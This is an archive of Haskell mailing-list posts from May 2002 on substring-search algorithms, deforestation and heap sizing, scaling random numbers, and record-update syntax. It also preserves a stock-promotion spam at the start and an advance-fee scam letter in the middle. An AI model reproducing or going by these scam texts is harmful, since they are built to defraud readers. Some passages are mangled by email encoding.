Oil Companies of all sizes have been the target of significant mergers and takeovers during the past year. Many of these takeovers or buyouts have occurred due to the value of the acquired Company's offshore oil holdings in West Africa. One such example is Marathon Oil (NYSE: MRO, $28) paying $900 MILLION for the West African holdings of CMS Energy (NYSE: CMS, $23). We believe that ERHC and/or the Company's offshore oil interests could be the next target of a takeover. This is largely because of their exclusive right to participate in exploration and production along with OIL INDUSTRY GIANTS, as these oil blocks are adjacent to Billion Barrel producing regions! Global Stock Participation - On March 27, 2002--Chrome Energy Corporation ("Chrome") (OTCBB:ERHC), announced that its common stock has been approved for listing on the Berlin Stock Exchange in Germany. The Berlin Stock Exchange is the leading stock exchange in Europe for dual listings with over 6,000 American companies listed. Chrome's common stock began trading on March 28, 2002 Special Situation Alerts' Newsletter offers valuable research for serious investors with our Hot Pick Of The Year - ERHC This is a commercial email only and if you want to be removed email timeismonie@btamail.net.cn From Robin.Garner@crsrehab.gov.au Mon May 6 05:15:55 2002 From: Robin.Garner@crsrehab.gov.au (Garner, Robin) Date: Mon, 6 May 2002 14:15:55 +1000 Subject: finding sublist Message-ID: <3F4430B9158BD211B3370008C7FAB01404908B1D@a010101e.crsrehab.gov.au> This message is in MIME format. Since your mail reader does not understand this format, some or all of this message may not be legible. ------_=_NextPart_001_01C1F4B4.B78BAF00 Content-Type: text/plain; charset="iso-8859-1" See Dijkstra's 'Discipline of Programming' for an o(M + N) algorithm - naive approches are o(MN) where M and N are the length of the list and substring respectively. Essentially the algorithm calculates a sort of autocorrelation table of the substring, showing where to resume the search after a failed match. For example, if you're matching the substring [1,2,3,4], and fail on the last comparison, you already know that there's no point in advancing one element and attempting another match - you can actually start again at the element that failed. When matching the string [1,2,1,3], you can resume at the current element of the main string, and the second element of the search string. How you would do this in a functional implementation is another question - Dijkstra's example is comparing two arrays, and there may be inefficiencies translating it to a list-based implementation. Cheers -----Original Message----- From: Serge D. Mechveliani [mailto:mechvel@botik.ru] Sent: Thursday, 2 May 2002 17:37 To: haskell@haskell.org Subject: finding sublist Thanks to people who helped me with the task >> Import two space separated columns of integers from file. Claus Reinke recommends to exploit `lines'. Indeed, it bocomes shorter now: main = readFile "data" >>= (putStr . show . twoIntLists) where twoIntLists str = case span (not . null) $ dropWhile null $ lines str of (lns, lns') -> (readInts lns, readInts lns') readInts = map (\ str -> read str :: Integer) . dropWhile null Another question: has the Haskell Standard library a function for such a usable task as finding of occurence of a segment in a list? Say findSegmentBy (...) [2,2,3] [0,0,2,2,1,2,2,3,1,2,3] --> ([0,0,2,2,1], [2,2,3,1,2,3]) I have heard, an efficient algorithm (for large lists) for this is not so simple. ----------------- Serge Mechveliani mechvel@botik.ru _______________________________________________ Haskell mailing list Haskell@haskell.org http://www.haskell.org/mailman/listinfo/haskell ------_=_NextPart_001_01C1F4B4.B78BAF00 Content-Type: text/html; charset="iso-8859-1" Content-Transfer-Encoding: quoted-printable RE: finding sublist

See Dijkstra's 'Discipline of Programming' for an o(M = + N) algorithm - naive approches are o(MN) where M and N are the length = of the list and substring respectively.

Essentially the algorithm calculates a sort of = autocorrelation table of the substring, showing where to resume the = search after a failed match.  For example, if you're matching the = substring [1,2,3,4], and fail on the last comparison, you already know = that there's no point in advancing one element and attempting another = match - you can actually start again at the element that failed.  = When matching the string [1,2,1,3], you can resume at the current = element of the main string, and the second element of the search = string.

How you would do this in a functional implementation = is another question - Dijkstra's example is comparing two arrays, and = there may be inefficiencies translating it to a list-based = implementation.

Cheers

-----Original Message-----
From: Serge D. Mechveliani [mailto:mechvel@botik.ru]
Sent: Thursday, 2 May 2002 17:37
To: haskell@haskell.org
Subject: finding sublist


Thanks to people who helped me with the task

>> Import two space separated columns of = integers from file.
 
Claus Reinke <claus.reinke@talk21.com> = recommends to exploit `lines'.

Indeed, it bocomes shorter now:

  main =3D readFile "data" >>=3D = (putStr . show . twoIntLists)
    where
    twoIntLists str =3D case  = span (not . null) $ dropWhile null $ lines str
          &nb= sp;           = of
          &nb= sp;           &nb= sp; (lns, lns') -> (readInts lns, readInts lns')

    readInts =3D map (\ str -> read = str :: Integer) . dropWhile null


Another question:
has the Haskell Standard library a function for such = a usable task
as finding of occurence of a segment in a list? Say =

     findSegmentBy (...) [2,2,3] = [0,0,2,2,1,2,2,3,1,2,3] -->

          &nb= sp;           &nb= sp;          ([0,0,2,2,1], = [2,2,3,1,2,3])

I have heard, an efficient algorithm (for large = lists) for this
is not so simple.

-----------------
Serge Mechveliani
mechvel@botik.ru
_______________________________________________
Haskell mailing list
Haskell@haskell.org
http://www.haskell.org/mailman/listinfo/haskell

------_=_NextPart_001_01C1F4B4.B78BAF00-- From ketil@ii.uib.no Mon May 6 08:30:02 2002 From: ketil@ii.uib.no (Ketil Z. Malde) Date: 06 May 2002 09:30:02 +0200 Subject: finding sublist In-Reply-To: <3F4430B9158BD211B3370008C7FAB01404908B1D@a010101e.crsrehab.gov.au> References: <3F4430B9158BD211B3370008C7FAB01404908B1D@a010101e.crsrehab.gov.au> Message-ID: "Garner, Robin" writes: > See Dijkstra's 'Discipline of Programming' for an o(M + N) algorithm - naive > approches are o(MN) where M and N are the length of the list and substring > respectively. > Essentially the algorithm calculates a sort of autocorrelation table of the > substring, showing where to resume the search after a failed match. There's also the KMP (Knuth, Morris, Pratt) algorithm, which is similar. See Dan Gusfield: "Algorithms of strings, trees and sequences" for lots of this stuff. However: it is very hard to beat the naive implementation (i.e. something like '\p -> or . map isPrefixOf p . tails', untested) in the expected case, at least in my experience. With an alphabet size of s, you will statistically match the first character only in 1/s of the cases, the first and the second 1/s^2, and so on, so unless your data are a bit peculiar (e.g. looking for "aaa...aab" in a sequence of 'a's), the constant factors of the more complex algorithms will probably not make it worthwhile. On the other hand, if you need to search for many different patterns in the same data, look at the suffix tree algorithms. If they're too difficult to implement effectively in a functional language, it seems you can get similar results (in the expected case) by using tries. -kzm -- If I haven't seen further, it is by standing in the footprints of giants From andrew@bromage.org Mon May 6 08:54:06 2002 From: andrew@bromage.org (Andrew J Bromage) Date: Mon, 6 May 2002 17:54:06 +1000 Subject: finding sublist In-Reply-To: <3F4430B9158BD211B3370008C7FAB01404908B1D@a010101e.crsrehab.gov.au> References: <3F4430B9158BD211B3370008C7FAB01404908B1D@a010101e.crsrehab.gov.au> Message-ID: <20020506075406.GA20984@smtp.alicorna.com> G'day all. On Mon, May 06, 2002 at 02:15:55PM +1000, Garner, Robin wrote: > How you would do this in a functional implementation is another question - > Dijkstra's example is comparing two arrays, and there may be inefficiencies > translating it to a list-based implementation. Here's my humble contribution. It compiles the string to a function which performs the match, using continuations to handle the failure transitions. It's also not a good example of the sort of Haskell code that you should write. It's possibly also buggy. Also note that this returns the list split at the point _after_ the string is matched, not before. Altering it to return the point before is left as an exercise. Cheers, Andrew Bromage --------8<--CUT HERE---8<-------- import List type PartialMatchFunc m a = [a] -> [a] -> m ([a], [a]) makeMatchFunc :: (Monad m, Eq a) => [a] -> ([a] -> m ([a],[a])) makeMatchFunc [] = error "Can't make match func for empty list" makeMatchFunc xs = \ys -> matchfunc [] ys where matchfunc = makeMatchFunc' [dofail] (zip xs (overlap xs)) dofail = \ps xs -> case xs of [] -> error "can't match" (y:ys) -> matchfunc (y:ps) ys overlap :: (Eq a) => [a] -> [Int] overlap str = overlap' [0] str where overlap' prev [] = reverse prev overlap' prev (x:xs) = let get_o o | o < 2 || str !! (o-2) == x = o | otherwise = get_o (1 + prev !! (length prev - o + 1)) in overlap' (get_o (head prev + 1):prev) xs makeMatchFunc' :: (Monad m, Eq a) => [PartialMatchFunc m a] -> [(a, Int)] -> PartialMatchFunc m a makeMatchFunc' prev [] = \ps xs -> return (reverse ps, xs) makeMatchFunc' prev mms@((x,failstate):ms) = thisf where mf = makeMatchFunc' (thisf:prev) ms failcont = prev !! (length prev - failstate - 1) thisf = \ps xs -> case xs of [] -> fail "can't match" (y:ys) -> if (x == y) then mf (y:ps) ys else failcont ps xs -- Some tests type MatchMaybe a = [a] -> Maybe ([a],[a]) ex_abra :: MatchMaybe Char ex_abra = makeMatchFunc "abracadabra" test :: IO () test = foldr1 (>>) [ putStrLn t | t <- tests ] where tests = [ show (ex_abra "abracadabra"), show (ex_abra "ababracadabra"), show (ex_abra "ababracadabrabra"), show (ex_abra "ababrabracadabrabra") ] From andrew@bromage.org Mon May 6 08:57:00 2002 From: andrew@bromage.org (Andrew J Bromage) Date: Mon, 6 May 2002 17:57:00 +1000 Subject: finding sublist In-Reply-To: <20020506075406.GA20984@smtp.alicorna.com> References: <3F4430B9158BD211B3370008C7FAB01404908B1D@a010101e.crsrehab.gov.au> <20020506075406.GA20984@smtp.alicorna.com> Message-ID: <20020506075700.GA22169@smtp.alicorna.com> G'day all. On Mon, May 06, 2002 at 05:54:06PM +1000, Andrew J Bromage wrote: > Here's my humble contribution. Oh, I should point out that this is the KMP algorithm, not the Dijkstra one. (For all I know, they're the same, of course.) Cheers, Andrew Bromage From mechvel@botik.ru Mon May 6 11:14:39 2002 From: mechvel@botik.ru (Serge D. Mechveliani) Date: Mon, 6 May 2002 14:14:39 +0400 Subject: finding sublist In-Reply-To: ; from ketil@ii.uib.no on Mon, May 06, 2002 at 09:30:02AM +0200 References: <3F4430B9158BD211B3370008C7FAB01404908B1D@a010101e.crsrehab.gov.au> Message-ID: <20020506141439.A437@botik.ru> On Mon, May 06, 2002 at 09:30:02AM +0200, Ketil Z. Malde wrote: > "Garner, Robin" writes: > > > See Dijkstra's 'Discipline of Programming' for an o(M + N) algorithm - naive > > approches are o(MN) where M and N are the length of the list and substring > > respectively. > > > Essentially the algorithm calculates a sort of autocorrelation table of the > > substring, showing where to resume the search after a failed match. > > There's also the KMP (Knuth, Morris, Pratt) algorithm, which is > similar. See Dan Gusfield: "Algorithms of strings, trees and > sequences" for lots of this stuff. > > However: it is very hard to beat the naive implementation > (i.e. something like '\p -> or . map isPrefixOf p . tails', untested) > in the expected case, at least in my experience. With an alphabet > > [..] My suggestion was mainly to include this usable function (in its generic version) into Standard library. The possibility of clever algorithms for it is one more argument for such inlclusion. ----------------- Serge Mechveliani mechvel@botik.ru From simonmar@microsoft.com Mon May 6 12:02:33 2002 From: simonmar@microsoft.com (Simon Marlow) Date: Mon, 6 May 2002 12:02:33 +0100 Subject: Deforestration harmful? Message-ID: <9584A4A864BD8548932F2F88EB30D1C6091D0FB8@TVP-MSG-01.europe.corp.microsoft.com> > An obvious thing to try was to increase the heap size. > Again we were surprised. Indeed the GC time decreased > but the running time in the profile (excluding the GC time) > increased a bit. Our guess was that it might have something > to do with the way GHC allocates new memory cells such that > larger heap results in longer allocation time. It was quite > tricky to find the best heap size at which the program > runs at maximal speed. >=20 > Are the above guesses are plausible? Is it a known phenomena? It is entirely plausible that as you increase the heap size the mutator time increases: this is because you get fewer cache hits with a larger heap. GHC starts off with a small heap size so as to try to make the most of the cache. However, on most examples we've seen the benefits of reducing garbage collections by increasing the heap size tend to outweigh the benefits from staying in the cache. Did you try heap profiling to discover what structure was filling up the heap? Cheers, Simon From det@cs.york.ac.uk Mon May 6 14:00:35 2002 From: det@cs.york.ac.uk (Detlef Plump) Date: Mon, 06 May 2002 14:00:35 +0100 Subject: TERMGRAPH 2002 (2nd call for papers) Message-ID: <3CD67E73.FF814653@cs.york.ac.uk> ======================================================================= Second Call for Papers TERMGRAPH 2002 International Workshop on Term Graph Rewriting Barcelona, Spain 7 October 2002 A satellite event of ICGT 2002 The First International Conference on Graph Transformation (http://www.lsi.upc.es/icgt2002/) ======================================================================= Background and Aims ------------------- Term graph rewriting is concerned with the representation of functional expressions as graphs and the evaluation of these expressions by rule-based graph transformation. Using graphs rather than strings or trees allows to share common subexpressions, which improves the efficiency of computations in space and time. Sharing is ubiquitous in implementations of functional and logic programming languages, systems for automated reasoning, and symbolic computation systems. Research in term graph rewriting ranges from theoretical questions to practical implementation issues. It includes such different lines as the modelling of (finite or infinitary) first-order term rewriting by (acyclic or cyclic) graph rewriting, rewrite rules on so-called sharing graphs for Levy-optimal reduction in the lambda calculus, rewrite calculi on cyclic higher-order term graphs for the semantics and analysis of functional programs, graph reduction implementations of functional programming languages, and automated reasoning and symbolic computation systems working on shared structures. The aim of this workshop is to bring together researchers working in these different domains and to foster their interaction, to provide a forum for presenting new ideas and work in progress, and to enable newcomers to learn about current activities in term graph rewriting. TERMGRAPH 2002 will be a one-day satellite event of the International Conference on Graph Transformation (ICGT 2002), which will take place October 8-11, 2002, in Barcelona. Topics of Interest ------------------ Topics of interest include all aspects of term graphs and sharing of common subexpressions in rewriting, programming, automated reasoning and symbolic computation. This includes (but is not limited to): * Theory of first-order and higher-order term graph rewriting * Graph rewriting in lambda calculus (sharing graphs, optimality) * Applications in functional, logic and functional-logic programming * Applications in automated reasoning and symbolic computation * Implementation issues * System descriptions Submissions ----------- Authors are invited to submit an extended abstract of 5 to 10 pages by e-mail to the program chair (det@cs.york.ac.uk). Submissions should be in PostScript format. It is strongly recommended to use LaTeX and ENTCS style files (http://math.tulane.edu/~entcs/). Publication ----------- Accepted contributions will appear in an issue of Elsevier's Electronic Notes in Theoretical Computer Science. Preliminary proceedings will be available at the workshop. Important Dates --------------- Submission deadline: June 15, 2002 Notification: July 15, 2002 Final version due: September 6, 2002 Workshop: October 7, 2002 ICGT 2002: October 8-11, 2002 Program Committee ----------------- Zena M. Ariola University of Oregon, Eugene (US) Richard Banach University of Manchester (UK) Rachid Echahed IMAG, Grenoble (FR) Richard Kennaway University of East Anglia, Norwich (UK) Jan Willem Klop Free University of Amsterdam (NL) Rinus Plasmeijer University of Nijmegen (NL) Detlef Plump University of York (UK), chair Contact ------- Dr. Detlef Plump Department of Computer Science The University of York Heslington, York YO10 5DD United Kingdom E-mail: det@cs.york.ac.uk Phone: +44-1904-434778 Fax: +44-1904-432767 Further Information ------------------- TERMGRAPH 2002: http://www.cs.york.ac.uk/~det/Termgraph_2002/cfp.html ICGT 2002: http://www.lsi.upc.es/icgt2002/ From maubane_j@yahoo.co.uk Mon May 6 14:15:41 2002 From: maubane_j@yahoo.co.uk (MR ALI MWANANAGA.) Date: Mon, 6 May 2002 15:15:41 +0200 Subject: CONFIDENTIAL Message-ID: <20020506131149.E3F264220CD@www.haskell.org> CONFIDENTIAL FROM MR ALI MWANANAGA=2E Email=3B maubane=5Fj=40yahoo=2Eco=2Euk REF=3A TRANSACTION REQEST=2E DEAR PARTNER=2E I am aware that it is amazing when a business proposal letter come From Some one that you Don=22t know however=2C you address was to the consideration of your profile and i became aware of your credibility and co-operation in this transaction that would be profitable to both of us=2E I am Mr ALI Mwananaga=2E The son of Dr Nanapanga Mwananaga=2EFinance Minister of Democratic Republic of Congo=28DRC=29=2Cpresently i am in the Netherlands on a senior Legal Management course=2E Recently I was contacted by my father over the issue am to explain=2EDr Nanapanga Mwananaga was appointed the finance Minister in the government of president Laurent Desire Kabila of the Democratic Republic of congo=28DRC=29=2CBeing close friend and also old school mate of president Laurent Desire Kabila=2C make them have trust in each other=2E Early Last year=2Ca contract was awarded to a foreign company in congo minig corporation on Diamond mining=2EBefore the contract was awarded to the foreign firm=2Ca required amount was Agreed upon and was paid by the contrecting company to ensure that it is their favour=2E The money paid was =28US$15=2E 500=2E000=2E00 Million United State Dollars=29 and was paid to the then president kabila through his finance minister Dr Nanapanga Mwananaga=2E There after the whole money was de-faced to avoid being traced by their political rivals=2Cand was moved out to the Netherland through diplomatic channel=2E Now the box containing the money is with a financial deposit company in the Netherlands=2E Deposited as photographic materials with out the deposit company knowing the exact contents of the box=2C because the entire money was intentionally de-faced out mint stage=2E The code to the deposited box and the certificate of deposit and all the transfer documents are still with my father in congo=2Cwhich will be send as soon as a trusted confident partner is found=2E Unfortunately president Laurent Kabila whom my father had his arrangement with was attacked in his home town=2C by one of his own body guard=2C but did not survive=2Enow that his son has succeeds him=2Cl will want us to use this opportunity to move the money out from the Netherlands to another safe place you will provide=2Elf you accept this proposal and ready to corporate with out directives you will be rewarded with 25% of the total sum=2CAll areas for the smooth transaction is already being taken care off=2E Be rest assured that this business will attract no risk=2EFor more clarification=2Cyou are to use the above e-mail=2E Yours sincerely Mr ALI Mwananaga=2E From scm@comlab.ox.ac.uk Mon May 6 14:32:50 2002 From: scm@comlab.ox.ac.uk (Shin-Cheng Mu) Date: Mon, 6 May 2002 14:32:50 +0100 Subject: finding sublist Message-ID: On Mon, May 06, 2002 at 09:30:02AM +0200, Ketil Z. Malde wrote: > "Garner, Robin" writes: > > See Dijkstra's 'Discipline of Programming' for an o(M + N) algorithm - naive > > approches are o(MN) where M and N are the length of the list and substring > > respectively. > > Essentially the algorithm calculates a sort of autocorrelation table of the > > substring, showing where to resume the search after a failed match. > There's also the KMP (Knuth, Morris, Pratt) algorithm, which is > similar. See Dan Gusfield: "Algorithms of strings, trees and > sequences" for lots of this stuff. About 13 years back there was also a paper talking about a formal derivation of such an algorithm in a functional language, based on an important property of fold and scan. R. S. Bird, J. Gibbons, and G. Jones. Formal derivation of a pattern matching algorithm. Science of Computer Programming, 12(2):93-104, July 1989. sincerely, Shin-Cheng Mu From olaf@cs.york.ac.uk Mon May 6 14:37:25 2002 From: olaf@cs.york.ac.uk (Olaf Chitil) Date: Mon, 06 May 2002 14:37:25 +0100 Subject: Deforestration harmful? References: <923D2B7B-5ED8-11D6-BA5F-0050E459B742@comlab.ox.ac.uk> Message-ID: <3CD68715.46BF25C@cs.york.ac.uk> Shin-Cheng Mu wrote: > g seed = [ z | (s1, s2) <- split seed, > x <- g s1, y <- g s2, z <- join x y ] > > The relation f was almost as simple as a replacing each > constructor in Tree1 with one or more coresponding constructors in > Tree2. They two can be fused together and becomes > > fg seed = [ z | (s1, s2) <- split seed, > x <- fg s1, y <- fg s2, z <- join' x y ] > > The intermediate datatype Tree1 was thus eliminated. > > The problem was: the fused program ran slower than the > original one! At least if you measure the total running > time (either via the UNIX time command or use the CPUTime > module). The time reported in the GHC time profile indeed > showed that the fused program is faster, though, if GC time > is excluded. > > We were quite curious why and my guess was: since f maps a > Tree1 to more than one Tree2, in the two list comprehensions, > the list produced by (fg s2) is much longer than (g s2). > The fused program thus has to keep a longer list in memory. > Worse heap residency results in more GCs. (Luckily GHC did not > attempt to automatically perform the fusion for us! :) ) Note that you have done more than just deforestation. You have moved f through join, obtaining join'. Because as you say (fg s2) is much longer than (g s2), join' is applied more often than join was applied before. I don't know how expensive your join and join' are. Furthermore, deforestation itself does not reduce runtime very much. More important is the secondary effect that deforstation moves formerly separated expressions close to each other, so that further optimisations can take place. Maybe in your example there are not many further optimisations? In real life it is seldomly clear which transformations are optimisations... (maybe a different machine will yield different results again?). Ciao, Olaf -- OLAF CHITIL, Dept. of Computer Science, The University of York, York YO10 5DD, UK. URL: http://www.cs.york.ac.uk/~olaf/ Tel: +44 1904 434756; Fax: +44 1904 432767 From hdaume@ISI.EDU Mon May 6 17:51:28 2002 From: hdaume@ISI.EDU (Hal Daume III) Date: Mon, 6 May 2002 09:51:28 -0700 (PDT) Subject: updating labelled fields Message-ID: Hi, I often create structures like: data MyData = MyData { foo :: ..., bar :: ..., .... } and most of the time i do one of two things: 1) read values from the structure, as in: let x = (foo myData) in ... 2) update values in the structure, as in: let myData' = myData { foo = (foo myData)+1 } Only very rarely (usually only during intializization) do I actually put values into the structure that *don't* depend on their previous value. I end up with expresions like: ... myData { foo = (foo myData) + 1 ; bar = (bar myData) ++ "bar" ; ick = (ick myData) ! n ; ... } I was wondering if there existed any sort of "update" syntax. Obviously not real update, but enough to get rid of the "(foo myData)" parts of my epxression which really serve to just clutter up with expression. Perhaps something like: ... myData { foo <- (+1) ; bar <- (++"bar") ; ick <- (!n) ; ... } or the like, where "x { ... y <- e ... } is translated to "x { ... y = e (y x) ... }" (i only use "<-" because that seems to be the default extension symbol, i guess because we don't want to trample symbols people might actually use.) Anyway, does such a thing exist, and, if not, is there any chance it could exist, or is it just syntactic salt to too many people? :) - Hal -- Hal Daume III "Computer science is no more about computers | hdaume@isi.edu than astronomy is about telescopes." -Dijkstra | www.isi.edu/~hdaume From bhuffman@galois.com Mon May 6 18:12:33 2002 From: bhuffman@galois.com (Brian Huffman) Date: Mon, 6 May 2002 10:12:33 -0700 Subject: Syntax highlighting for KDE's Kate In-Reply-To: <200205052242.29107.jadrian@mat.uc.pt> References: <200205031529.57758.ralf@informatik.uni-bonn.de> <200205052242.29107.jadrian@mat.uc.pt> Message-ID: <200205061012.33479.bhuffman@galois.com> --------------Boundary-00=_X49PHIAFTJXN093X3ZJR Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: 8bit On Sunday 05 May 2002 02:42 pm, Jorge Adriano wrote: > To bad the literate haskell mode doesn't work with the LaTeX kind of > literate programming - \begin{code} ... \end{code} - that's how I've been > coding all my haskell programs lately :) Attached is my version of the haskell syntax highlighting file, hacked to work with both styles of literate comments. It uses the #stay and #pop features for changing contexts, so you probably need a recent version of Kate (I'm using kde 3.0) for it to work. I hope you find it useful. - Brian Huffman --------------Boundary-00=_X49PHIAFTJXN093X3ZJR Content-Type: text/xml; charset="iso-8859-1"; name="lhs.xml" Content-Transfer-Encoding: 7bit Content-Disposition: attachment; filename="lhs.xml" case class data default deriving do else if import in infix infixl infixr instance let module newtype of primitive then type where --------------Boundary-00=_X49PHIAFTJXN093X3ZJR-- From oleg@pobox.com Mon May 6 19:12:32 2002 From: oleg@pobox.com (oleg@pobox.com) Date: Mon, 6 May 2002 11:12:32 -0700 (PDT) Subject: Bug in the scaling of randoms ... Message-ID: <200205061812.LAA83425@adric.cs.nps.navy.mil> Dimitre Novatchev wrote on May 4, 2002: > In his excellent book Simon Thompson defines scaling of the elements of > a sequence of random numbers from the interval [0, 65535] to an > interval [s,t] in the following way (top of page 368): > > scaleSequence :: Int -> Int -> [Int] -> [Int] > > scaleSequence s t > > = map scale > > where > > scale n = n `div` denom + s > > range = t - s + 1 > > denom = modulus `div` range > > where modulus = 65536 > However, the following expression: > > e4000 = (scaleSequence 1 966 ([65231] ++ [1..965]))!!0 > evaluates to 974 -- clearly outside of the specified interval. Here's the algorithm for mapping of ranges of integers that is provably correct. We aim to find a function sc(n) defined over integers 0 <= n <= M so that sc(0) -> s (given integral number) sc(M) -> t (given integral number), t>=s and 0<=a < b ==> sc(a) <= sc(b) Such a function sc(n) is given by the following expression: sc(n) = (n*(t-s)) `div` M + s Proof: sc(0) = s sc(M) = (M*(t-s)) `div` M + s = t a a*(t-s) < b*(t-s) ==> (a*(t-s)) `div` M <= (b*(t-s)) `div` M The assertion that 0<=a a `div` M <= b `div` M for M >0 can easily be proven by contradiction. Indeed, given the facts (a `div` M)* M = a - ra, 0<= ra <= M-1 (b `div` M)* M = b - rb, 0<= rb <= M-1 and an assumption a `div` M > b `div` M we see a = M*(a `div` M) + ra = M*(b `div` M + x) + ra { where x >= 1 } = b - rb + ra + M*x >= min{ b - rb + ra + M*x over ra in [0,M-1], rb in [0,M-1]} >= b - (M-1) + M*x >= b + 1 + M*(x-1) { x >= 1 } > b {contradiction} Thus the correct algorithm reads > scaleSequence :: Int -> Int -> [Int] -> [Int] > scaleSequence s t > = map scale > where > scale n = (n*range) `div` maxn + s > range = t - s > maxn = modulus - 1 > modulus = 65536 Given your example, Main> any (==966) (scaleSequence 1 966 ([65231] ++ [1..965] ++[65565])) True Main> any (>966) (scaleSequence 1 966 ([65231] ++ [1..965] ++[65565])) False From jadrian@mat.uc.pt Mon May 6 19:36:30 2002 From: jadrian@mat.uc.pt (Jorge Adriano) Date: Mon, 6 May 2002 19:36:30 +0100 Subject: updating labelled fields In-Reply-To: References: Message-ID: <200205061936.30511.jadrian@mat.uc.pt> > I often create structures like: > data MyData =3D MyData { foo :: ..., bar :: ..., .... } That makes 2 of us :-) > and most of the time i do one of two things: > 1) read values from the structure, as in: > let x =3D (foo myData) in ... > 2) update values in the structure, as in: > let myData' =3D myData { foo =3D (foo myData)+1 } 1)=20 I've used datatypes with labeled fields mostly to pass around implicit va= lues. If that is your case then there is a way around it. Declare the datatype as=20 > data MyData =3D MyData { foo_ :: fooType, bar_ :: ..., .... } and then declare > foo :: (?implicitdata :: MyData)=3D> fooType > foo =3D foo_ ?yourdata So when you work in a contex that depends on some implicit data you can j= ust=20 use foo. I've used this *a lot* lately. 2) Yes. My method now is declaring set and apply functions to every field of= my=20 data structure. fooAp f ni=3Dni{foo=3Df(foo ni)} fooSet x =3D fooAp (const x) > Only very rarely (usually only during intializization) do I actually pu= t > values into the structure that *don't* depend on their previous value. = I > end up with expresions like: > > ... myData { foo =3D (foo myData) + 1 ; > bar =3D (bar myData) ++ "bar" ; > ick =3D (ick myData) ! n ; ... } Yeap quite ugly isn't it? :-) > I was wondering if there existed any sort of "update" syntax. Obviousl= y Nope, not that I know of.=20 > not real update, but enough to get rid of the "(foo myData)" parts of m= y > epxression which really serve to just clutter up with expression. Perh= aps > something like: > > ... myData { foo <- (+1) ; bar <- (++"bar") ; ick <- (!n) ; ... } Yes looks nice, thought about something like that before too. > or the like, where "x { ... y <- e ... } is translated to "x { ... y =3D= e > (y x) ... }" (i only use "<-" because that seems to be the default > extension symbol, i guess because we don't want to trample symbols peop= le > might actually use.) Anyway I'd prefer to have some way to 'derive' apply and set functions. Something like=20 > data MyData =3D MyData { foo :: fooType, bar :: ..., .... } > deriving (Set, Apply) Using the keyword "deriving" would probably be a bad idea though :) The set and apply functions could be derived with a standard postfix or m= aybe=20 prefix... fooAp or apFoo. Maybe we could introduce sintax to specify it... > deriving (Set with "set", Apply with "ap") I don't know... I'm just brainstorming right now. Having actual functions is important. I don't think I have to explain why= to=20 people in this mailing list :-) > Anyway, does such a thing exist, and, if not, is there any chance it co= uld > exist, or is it just syntactic salt to too many people? :) I whish you better luck than I've had so far whenever making posts about = this=20 same issue ;) J.A. From dnovatchev@yahoo.com Mon May 6 20:28:29 2002 From: dnovatchev@yahoo.com (Dimitre Novatchev) Date: Mon, 6 May 2002 12:28:29 -0700 (PDT) Subject: Bug in the scaling of randoms ... In-Reply-To: <200205061812.LAA83425@adric.cs.nps.navy.mil> Message-ID: <20020506192829.2411.qmail@web14508.mail.yahoo.com> Thank you! --- oleg@pobox.com wrote: [nice proof snipped] > Thus the correct algorithm reads > > > scaleSequence :: Int -> Int -> [Int] -> [Int] > > scaleSequence s t > > = map scale > > where > > scale n = (n*range) `div` maxn + s > > range = t - s > > maxn = modulus - 1 > > modulus = 65536 > > Given your example, > Main> any (==966) (scaleSequence 1 966 ([65231] ++ [1..965] > ++[65565])) > True > Main> any (>966) (scaleSequence 1 966 ([65231] ++ [1..965] > ++[65565])) > False In your examples you added one more element to the end of the list. Its value is greater than maxn -- maybe I'm missing something? Cheers, Dimitre Novatchev. __________________________________________________ Do You Yahoo!? Yahoo! Health - your guide to health and wellness http://health.yahoo.com From hdaume@ISI.EDU Mon May 6 23:28:42 2002 From: hdaume@ISI.EDU (Hal Daume III) Date: Mon, 6 May 2002 15:28:42 -0700 (PDT) Subject: updating labelled fields In-Reply-To: <20020506222334.GB22535@felix> Message-ID: I just fudgeted around in the ghc source code and this doesn't seem to be a change that would require a lot of work. Briefly, the changes that would need to be made would be: 1) In the parser, change bind so that in addition to qname '=' exp you can also have qname 'somefunkysymbol' exp And change the return type from (a,b,Bool) to (a,b, Either () Bool) and then for the normal case, returh Right False and for the update case return Left (). 2) in the mkRecConstrOrUpdate function, when you have a conid applied to an update, make sure there are no Left () guys in the list; otoh, if the guy sitting in from of the { is an exp, do a map (mkRecUpdate exp) on the list where this function is something like: mkRecUpdate exp (a,b,Right c) = (a,b,c) mkRecUpdate exp (a,b,Left ()) = (a,HsApp b (HsApp (HsVar a) exp),False) -- warning, this isn't 100% correct, but it's the basic idea 3) recompile ghc I wouldn't at all mind making this addition if I had a sense that it would actually be accepted and that people weren't going to go crazy over the syntax. Would something like "<-" be preferred or something like "$=>"? - Hal -- Hal Daume III "Computer science is no more about computers | hdaume@isi.edu than astronomy is about telescopes." -Dijkstra | www.isi.edu/~hdaume On Tue, 7 May 2002, Bryn Humberstone wrote: > Hi Hal, > > > 2) update values in the structure, as in: > > let myData' = myData { foo = (foo myData)+1 } > > I do this a lot too, and think it would be lovely to have some sugar for > it. My original idea for the syntax was something like > myData = myData { foo $=> (+1), > bar $=> (*2) } > just because $ is a bit reminiscent of function application. But I'm not > really fussed; as long as some syntax for it appeared in the language. > > -- Bryn > > -- > Bryn Humberstone > + Email bdh@alphalink.com.au > + Web http://bryn.alphalink.com.au/ > From dfeuer@cs.brown.edu Mon May 6 23:42:53 2002 From: dfeuer@cs.brown.edu (David Feuer) Date: Mon, 6 May 2002 18:42:53 -0400 Subject: updating labelled fields In-Reply-To: ; from hdaume@ISI.EDU on Mon, May 06, 2002 at 03:28:42PM -0700 References: <20020506222334.GB22535@felix> Message-ID: <20020506184253.A23934@grenada.cs.brown.edu> On Mon, May 06, 2002, Hal Daume III wrote: > I wouldn't at all mind making this addition if I had a sense that it would > actually be accepted and that people weren't going to go crazy over the > syntax. Would something like "<-" be preferred or something like "$=>"? > > - Hal Why not $= ? From jadrian@mat.uc.pt Tue May 7 00:28:40 2002 From: jadrian@mat.uc.pt (Jorge Adriano) Date: Tue, 7 May 2002 00:28:40 +0100 Subject: updating labelled fields In-Reply-To: References: Message-ID: <200205070028.41013.jadrian@mat.uc.pt> On Monday 06 May 2002 23:28, Hal Daume III wrote: > I wouldn't at all mind making this addition if I had a sense that it wo= uld > actually be accepted and that people weren't going to go crazy over the > syntax. Would something like "<-" be preferred or something like "$=3D= >"? I'd still prefer having some way to automaticly derive 'apply' functions. There is already nice syntax for setting a field value and I always end u= p=20 defining 'set' functions to each and every field because I want to pass t= hem=20 as arguments.=20 Imagine you have an STRef to a labeled datatype, lets call it "stdata". =20 You want to apply some function "g" to field "foo" of that structure. > modifySTRef (fooAp g) 